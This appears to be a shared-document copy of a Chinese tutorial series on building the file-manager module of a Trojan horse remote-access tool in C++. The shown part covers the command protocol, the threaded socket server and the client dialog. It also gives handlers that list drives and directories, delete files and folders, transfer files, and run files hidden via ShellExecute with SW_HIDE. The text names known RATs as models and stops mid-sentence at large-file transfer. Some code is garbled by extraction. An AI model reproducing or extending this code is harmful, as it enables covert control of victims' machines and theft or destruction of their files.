C++实现文件传输.docx
《C++实现文件传输.docx》由会员分享,可在线阅读,更多相关《C++实现文件传输.docx(41页珍藏版)》请在冰豆网上搜索。
C++实现文件传输
c++实现文件传输之一:
框架结构和界面实现
在木马中文件管理的重要性,是无需质疑的,对于文件的管理,做到并不难,但做好却也不易在我们编写一个功能完整的“文件木马”
其实现效果如图所示。
为了文章的完整性,我们将分为数篇来介绍,本文主要介绍程序的整体框架和界面实现,在以后的文章中将以此框架为基础实现详细的功能。
实现:
枚举磁盘,枚举目录,获取文件信息
上传文件,下载文件,执行文件,创建目录,删除目录等
传输控制结构
要实现客户端与服务端的通信,设计一个合理的传输控制结构,会使后面的工作轻松很多,为了使代码易读
首先对要使用的命令进行预定义其各个命令定义如下
#defineGetDriver0x01//磁盘信息
#defineGetDirInfo0x02//目录信息
#defineExecFile0x03//执行文件
#defineGetFile0x04//下载文件
#definePutFile0x05//上传文件
#defineDelFile0x06//删除文件
#defineDelDir0x07//删除目录
#defineCreateDir0x08//创建目录
#defineFileInfo0x09//文件信息
#defineGetScreen0x10//查看屏幕
在程序的网络通信中主要有操作命令,命令对像,和具体数据三部分,对于命令的传输定义如下结构
typedefstruct
{
intID;//操作命令
BYTElparam[BUF_LEN*2];//命令对像
}COMMAND;
因为在程序中打交道最多的就是文件,对文件的详细属性定义如下结构
typedefstruct
{
charFileName[MAX_PATH];//文件名称
intFileLen;//文件长度
charTime[50];//时间信息
BOOLIsDir;//为目录否
BOOLError;//错误信息
HICONhIcon;//图标句柄
}FILEINFO;
服务端结构
服务端还是比较简单的其整体思路如下
1.服务端循环接受连接,并把连接交给线程处理
2.线程接受"命令数据",并跟据命令ID将命令对像和SOCKET句柄传给处理函数
3.函数执行指定功能,并返回执行结果
对整体结构的描述,我们用伪代码表述如下
main()
{/*初示化设置......*/
while(true)
{
if(client=accept(server,(sockaddr*)&clientaddr,&len))//循环接受连接
{
CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//传递线程处理
}
}
/*清理释放资源......*/
WSACleanup();
}
服务端程序运行后循环接受连接,如果有新的连接就传递给新的线程处理,线程代码如下
DWORDWINAPISLisen(LPVOIDlparam)
{
SOCKETclient=(SOCKET)lparam;
COMMANDcommand;
while
(1)
{
if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//接受命令数据
{
cout<<"TheClinetSocketisClosed/n";
break;
}else
{
switch(command.ID)//判断命令ID
{
caseGetDriver:
//将命令对像和SOCKET句柄传递给处理函数
GetDriverProc(command,client);
break;
caseDelFile:
DelFileProc(command,client);
break;
/*其它命令......*/
}
}
}
}
线程式的功能是接受客户端的"命令数据",并跟跟据命令ID将命令对像传递给处理函数,由函数完成指定的功能
以删除文件命令为例其函数格式如下
DWORDDelFileProc(COMMANDcommand,SOCKETclient)
{
if(DeleteFile((char*)command.lparam)==0)//command.lparam为命令对像,这里为要删除的文件路径
{
send(client,"删除失败...");
}
else
{
send(client,"删除成功...");
}
}
很容易看出,处理函数接受"命令对像"和客户端SOCKET句柄,执行后会把结果传递回去....
客户端结构
客户端结构的实现思路如下
1.跟服务端建立连接
2.发送用户命令
3.启动一个线程,用于接受服务端的返回信息
对整体结构的描述,我们用伪代码表述如下
voidCMyDlg:
:
OnConnect()
{
if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//连接....
{
return;
}
CreateThread(NULL,NULL,CLisen,this,NULL,NULL);//创建线程用于接受SERVER返回信息
}
对于用户发送的命令我们仍以删除文件为例说明其代码如下
voidCMyDlg:
:
OnMenuDelFile()
{
HTREEITEMCurrentNode= m_tree.GetSelectedItem();//取得选择的节点
CStringFullPath=GetFullPath(CurrentNode);//取得节点全目录
COMMANDcommand;
command.ID=DelFile;//设置命令为删除文件//删除文件
command.lparam=FullPath.LockBuffer());//将路径加入命令对像
send(server,command);
}
用于接受SERVER返回信息的线程,和服务端接受命令线程相似,这里就不再说明了,有兴趣可以看下源代码
到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置.
界面实现
程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件m_tree和列表控件m_list分别
用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性
DWORDdwStyle=GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
dwStyle|=TVS_HASBUTTONS|TVS_HASLINES|TVS_LINESATROOT;
SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把Styles显示属性设置为ICON
VC的做出的界面,常常让人有种摔键盘的冲动。
其实稍微留意一下其设置,也可以让它漂亮一些
比如上图所示的界面就是经过简单设置得到的,而没有用其它类库,有点兴趣?
其设置方法为:
1.在对话框属性中设置Styles的Border属性为Thin
2.选重MoreStyles"可见"属性
3.选重ExtendedStyles的"静态边"属性
这样再运行一下程序是不是感觉清新不少?
到这里程序的主要结构框架和界面实现就介绍完了,下一篇将详细介绍其各种功能的实现
c++实现文件传输之二
在上一篇中,我们以经介绍了程序的流程和框架,在本篇将详细讨论各个功能的实现主要包括
1.获取磁盘信息
2.获取目录信息
3.获取文件信息
4.运行指定文件
5.删除指定文件
6.删除指定目录
7.创建指定目录
8.上传下载文件
9.获取远程文件图标
获取磁盘信息
磁盘信息可以用APIGetDriveType来实现,它以路径名作为参数(如C:
/)返回磁盘类型,其实例代码如下
DWORDGetDriverProc(COMMANDcommand,SOCKETclient)
{
for(chari='A';i<='Z';i++)
{
charx[20]={i,':
'};
UINTType=GetDriveType(x);
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM)
{
/*返回处理结果...*/
}
}
return0;
}
GetDriveType可能返回的结果如下
#defineDRIVE_UNKNOWN 0//无效路径名
#defineDRIVE_NO_ROOT_DIR 1//无效路经,如无法找到的卷标
#defineDRIVE_REMOVABLE2//可移动驱动器
#defineDRIVE_FIXED 3//固定的驱动器
#defineDRIVE_REMOTE 4//网络驱动器
#defineDRIVE_CDROM 5//CD-ROM
#defineDRIVE_RAMDISK 6//随机存取(RAM)磁盘
在上面的实例代码中我们只取,硬盘,光驱和移动磁盘
获取目录信息
这里只要枚举用户指定的目录就可以了,其实例代码如下:
DWORDGetDirInfoProc(COMMANDcommand,SOCKETclient)
{
/*command为要枚举的路径如(C:
/)client为返回结果的SOCKET句柄*/
FILEINFOfi;
memset((char*)&fi,0,sizeof(fi));
strcat((char*)command.lparam,"*.*");//枚举所有文件
CFileFindfile;
BOOLbContinue=file.FindFile((char*)command.lparam);
while(bContinue)
{
memset((char*)&fi,0,sizeof(fi));
bContinue=file.FindNextFile();
if(file.IsDirectory())//为目录
{
fi.IsDir=true;
}
strcpy(fi.FileName,file.GetFileName().LockBuffer());//保存文件名称
if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR)
{
cout<<"SendDirisError/n";
}
}
return0;
}
获取文件信息
以下实例代码用来获取文件的名称,路径,时间,属性等信息
DWORDFileInfoProc(COMMANDcommand,SOCKETclient)
{
/*command为要查看的文件如(C:
/TEST.EXE)client为返回结果的SOCKET句柄*/
FILEINFOfi;
HANDLEhFile;
WIN32_FIND_DATAWFD;
memset((char*)&WFD,0,sizeof(WFD));
if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_VALUE)//查看文件属性
{
fi.Error=true;
return0;
}
//得到文件的相关信息
SHGetFileInfo(WFD.cFileName,
FILE_ATTRIBUTE_NORMAL,
&shfi,sizeof(shfi),
SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME);
strcpy(fi.FileName,(char*)command.lparam);//文件路径
FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024;//文件长度
fi.FileLen=FileLen;
//转化格林时间到本地时间
FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime);
FileTimeToSystemTime(&localtime,&systime);
//文件修改时间
sprintf(stime,"%4d-%02d-%02d%02d:
%02d:
%02d",
systime.wYear,systime.wMonth,systime.wDay,systime.wHour,
systime.wMinute,systime.wSecond);
if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN)
{
/*隐藏文件...*/
}else
if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY)
{
/*只读文件...*/
}
send(client,(char*)&fi,sizeof(fi),0);
FindClose(hFile);
return0;
}
运行指定文件
运行文件有以下几种方法1.WinExec2.ShellExecute3.CreateProcess
这里使用的是ShellExecute其实例代码如下
DWORDExecFileProc(COMMANDcommand,SOCKETclient)
{
/*command为要运行的文件路径如(C:
/TEST.EXE)client为返回结果的SOCKET句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=ExecFile;
if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)<(HINSTANCE)32)
{
strcpy((char*)cmd.lparam,"文件执行失败!
");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam,"文件执行成功!
");
send(client,(char*)&cmd,sizeof(cmd),0);
}
return0;
}
API函数ShellExecute原形为:
HINSTANCEShellExecute(
HWNDhwnd, //窗口句柄
LPCTSTRlpOperation,//操作类型
LPCTSTRlpFile, //文件指针
LPCTSTRlpParameters, //文件参数
LPCTSTRlpDirectory,//缺省目录
INTnShowCmd //显示方式
);
这是一个相当有意思的函数,在调用此函数时只须指定要执行的文件名,而不必管用什么程序去打开
或执行文件,WINDOWS会自动根据要打开或执行的文件去判断该如何执行文件或用什么程序去打开文件,如果
要求不高的话比CreateProcess要好用的多,如果想做出像NCPH和灰鸽子那样带参数执行的话,其实也不难
只要指定lpParameters为执行参数就可了
删除指定文件
DWORDDelFileProc(COMMANDcommand,SOCKETclient)
{
/*command为要删除的文件路径如(C:
/TEST.EXE)client为返回结果的SOCKET句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=DelFile;
SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL);//去掉文件的系统和隐藏属性
if(DeleteFile((char*)command.lparam)==0)
{
strcpy((char*)cmd.lparam,"文件删除失败!
");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam,"文件删除成功!
");
send(client,(char*)&cmd,sizeof(cmd),0);
}
return0;
}
需要注意的是在DeleteFile前应该去文件的系统和隐藏属性,否则会删除失败
删除目录
可以用RemoveDirectory函数删除目录,但是RemoveDirectory有个缺点就是只能删除为空的的目录,对于不为空
的目录就无能为力了,想要删除不无空的目录可以使用下面的实例代码
BOOLDeleteDirectory(char*DirName)
{
CFileFindtempFind;
chartempFileFind[200];
sprintf(tempFileFind,"%s*.*",DirName);
BOOLIsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!
tempFind.IsDots())
{
charfoundFileName[200];
strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200));
if(tempFind.IsDirectory())
{
chartempDir[200];
sprintf(tempDir,"%s//%s",DirName,foundFileName);
DeleteDirectory(tempDir);
}
else
{
chartempFileName[200];
sprintf(tempFileName,"%s//%s",DirName,foundFileName);
SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL);//去掉文件的系统和隐藏属性
DeleteFile(tempFileName);
cout<<"nowdelete"< }
}
}
tempFind.Close();
if(!
RemoveDirectory(DirName))
{
returnFALSE;
}
returnTRUE;
}
这个函数的代码可以参照上面枚举目录的代码来看,它的原理就是枚举目录下的所有文件并删除,最后删除
指定目录,成功返回TRUE失败则返回FALSE,这段代码可以直使用,但要小心使用,因为我在传参数时的失误
结果把整个D盘差点清空了..........
创建目录
实例代码如下:
DWORDCreateDirProc(COMMANDcommand,SOCKETclient)
{
/*command为要创建目录的路径如(C:
/)client为返回结果的SOCKET句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=CreateDir;
if(:
:
CreateDirectory((char*)command.lparam,NULL))
{
strcpy((char*)cmd.lparam,"创建目录成功!
");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam,"创建目录失败!
可能有重名文件或文件夹");
send(client,(char*)&cmd,sizeof(cmd),0);
}
return0;
}
在创建目录时应该注意几点,首先创始目录的上层目录必须是存在的,比如想创建C:
/DIR1/DIR2目录,要求
DIR1是必须存在,用CreateDirectory并不能创建多级目录.再者不可以存在和要创建目录同名的目录和文件
因为在磁盘上目录和文件的存放格式是相同的,惟一不同的是 目录的属性与文件属性不同
(FILE_ATTRIBUTE_DIRECTORY属性),所在即使有同名文件也会创始失败.
上传下载文件
上传下载是是文件管理的重点所在,在这里按文件的大小,分两种情况讨论文件的传输方法
小文件的传输相对比较简单可按以下方法进行
1.首先发送文件长度和名称
2.跟据文件长度建立缓冲区
3.读取整个文件到缓冲区
4.发送缓冲区里的内容
其实现代码如下:
CFilefile;
FILEINFOfileinfo;
if(file.Open(path,CFile:
:
modeRead|CFile:
:
typeBinary))
{
fileinfo.FileLen=file.GetLength();//文件长度
strcpy(fileinfo.FileName,file.GetFileName());//文件名称
send(client,(char*)&fileinfo,sizeof(fileinfo),0);//发送长度和名称
char*date=newchar[fileinfo.FileLen];//分配和文件长度相同的缓冲区
intnLeft=fileinfo.FileLen;
intidx=0;
file.Read(date,fileinfo.FileLen);//读整个文件到缓冲区
while(nLeft>0)
{
intret=send(client,&date[idx],nLeft,0);//发送文件
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
}
file.Close();
delete[]date;
}
跟据上面的实例相信大家可以领悟到文件传输的基本原理和方法,虽然很简单但用它传输小文件还是非常实用的
大文件传输方法
用上面